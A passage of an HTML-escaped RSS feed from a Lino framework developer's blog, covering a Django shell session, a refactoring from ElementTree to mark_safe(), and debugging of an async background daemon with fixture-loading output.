&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;319012&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;319022&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BausteinArbeitBewertung&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;319022&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;punkte&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;arbeit&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BausteinArbeit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Arbeitsverhalten&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;schüler&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Schüler&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Musterman&lt;/span&gt; &lt;span class="n"&gt;Max&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;zeugnisse.BausteinArbeitBewertung&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;zeugnisse.Bewertung&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0102.html</guid><pubDate>Tue, 02 Jan 2024 00:00:00 +0000</pubDate></item><item><title>Optimizing RolesByCompany caused an avalanche</title><link>https://luc.lino-framework.org/blog/2023/1227.html</link><description>&lt;section id="optimizing-rolesbycompany-caused-an-avalanche"&gt;
&lt;h1&gt;Optimizing RolesByCompany caused an avalanche&lt;a class="headerlink" href="#optimizing-rolesbycompany-caused-an-avalanche" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;December 27-29, 2023&lt;/p&gt;
&lt;p&gt;I did some fundamental cleanup in the following methods. Initially it was just
for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5346"&gt;#5346&lt;/a&gt; (Optimize RolesByCompany), which was trivial: there was no
insert layout and therefore it was difficult to add a new &lt;a class="reference external" href="https://using.lino-framework.org/plugins/contacts.html#term-contact-person" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;contact person&lt;/span&gt;&lt;/a&gt;
for an &lt;a class="reference external" href="https://using.lino-framework.org/plugins/contacts.html#term-organization" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;organization&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But working on this caused an avalanche of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5353"&gt;#5353&lt;/a&gt; (Use mark_safe instead of
ElementTree).&lt;/p&gt;
&lt;section id="elementtree-versus-mark-safe"&gt;
&lt;h2&gt;ElementTree versus mark_safe()&lt;a class="headerlink" href="#elementtree-versus-mark-safe" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The fundamental new thing is that we started to use &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;mark_safe()&lt;/span&gt;&lt;/code&gt; function.
When a virtual field or any function returns some content, then the caller needs
to know whether that content is (1) plain text or (2) HTML-formatted text.
During the first years of Lino, I discovered ElementTree and fell in love. And I
still say that it’s a great tool for generating HTML. And I based most function
calls on the convention that when it’s a &lt;cite&gt;str&lt;/cite&gt; then it is plain text (and thus
needs to get escaped when rendered as HTML), and when a function wants to return
formatted text, then it must return an ElementTree.&lt;/p&gt;
&lt;p&gt;But this convention is suboptimal when we return content of a rich text field,
it that is already a chunk of HTML, verified and bleached and validated. In that
case a method that is expected to return ElementTree currently has to parse the
stored HTML using &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lxml.html.fromstring()&lt;/span&gt;&lt;/code&gt; in order to get an ET from it.
Which is a bit stupid because that ET is used for nothing else but to generate
HTML.&lt;/p&gt;
&lt;p&gt;I had been feeling this issue for quite some time already, but now I finally
created a separate ticket for it: #5353 (Use mark_safe instead of ElementTree).&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;qs2summary() no longer returns an etree but an html string. As a result,
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.summary_sep&lt;/span&gt;&lt;/code&gt; no longer needs to be a callable, we can remove the
“from lino.core.utils import comma”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The default implementation of &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_story_item()&lt;/span&gt;&lt;/code&gt; returned &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt;
but now returns &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_paragraph()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;summary_row()&lt;/span&gt;&lt;/code&gt; replaced by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;as_summary_row()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;row_as_summary()&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ar.obj2htmls(self)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_search_item()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="about-mark-safe"&gt;
&lt;h2&gt;About mark_safe()&lt;a class="headerlink" href="#about-mark-safe" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The Django docs about &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/ref/utils/#django.utils.safestring.mark_safe"&gt;mark_safe()&lt;/a&gt;
say that a “safe” string becomes unsafe as soon as it is modified. I wondered
what happens if you just concatenate two safe strings. Answer the result is
still safe.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.utils.html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;b&amp;gt;Foo&amp;lt;/b&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;b&amp;gt;Bar&amp;lt;/b&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mark_safe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;em&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; and &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/em&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;django.utils.safestring.SafeString&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But already the following requires another call to &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;mark_safe()&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;str&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that the word “safe” here has nothing to do with actual security. A
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;SafeString&lt;/span&gt;&lt;/code&gt; can contain dangerous HTML.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1227.html</guid><pubDate>Wed, 27 Dec 2023 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 26, 2023</title><link>https://luc.lino-framework.org/blog/2023/1226.html</link><description>&lt;section id="tuesday-december-26-2023"&gt;
&lt;h1&gt;Tuesday, December 26, 2023&lt;a class="headerlink" href="#tuesday-december-26-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am trying to understand &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5278"&gt;#5278&lt;/a&gt; (Jane doesn’t send mails (because linod
is stuck). Yesterday and today I used “clinical software development”: I
replaced a call to &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;sync_to_async()&lt;/span&gt;&lt;/code&gt; by &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;database_sync_to_async()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Procedure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Choice&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sync_to_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;database_sync_to_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When calling &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;sync_to_async()&lt;/span&gt;&lt;/code&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in the &lt;cite&gt;noi1e&lt;/cite&gt; demo project
works:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Fixture&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dpy_tmp_3876721588043865475&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;objects&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;excerpts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;appy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pod&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;TermsConditions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;odt&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi1e&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;appypdf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;excerpts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Excerpt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="n"&gt;pdf&lt;/span&gt;
&lt;span class="n"&gt;weasy2pdf&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;subscriptions/Subscription/default.weasy.html&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;excerpts/default.weasy.html&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi1e&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weasy2pdf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;subscriptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Subscription&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.&lt;/span&gt;&lt;span class="n"&gt;pdf&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;en&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;span class="n"&gt;weasy2pdf&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;contacts/Partner/payment_reminder.weasy.html&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;excerpts/payment_reminder.weasy.html&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_book&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;projects&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi1e&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 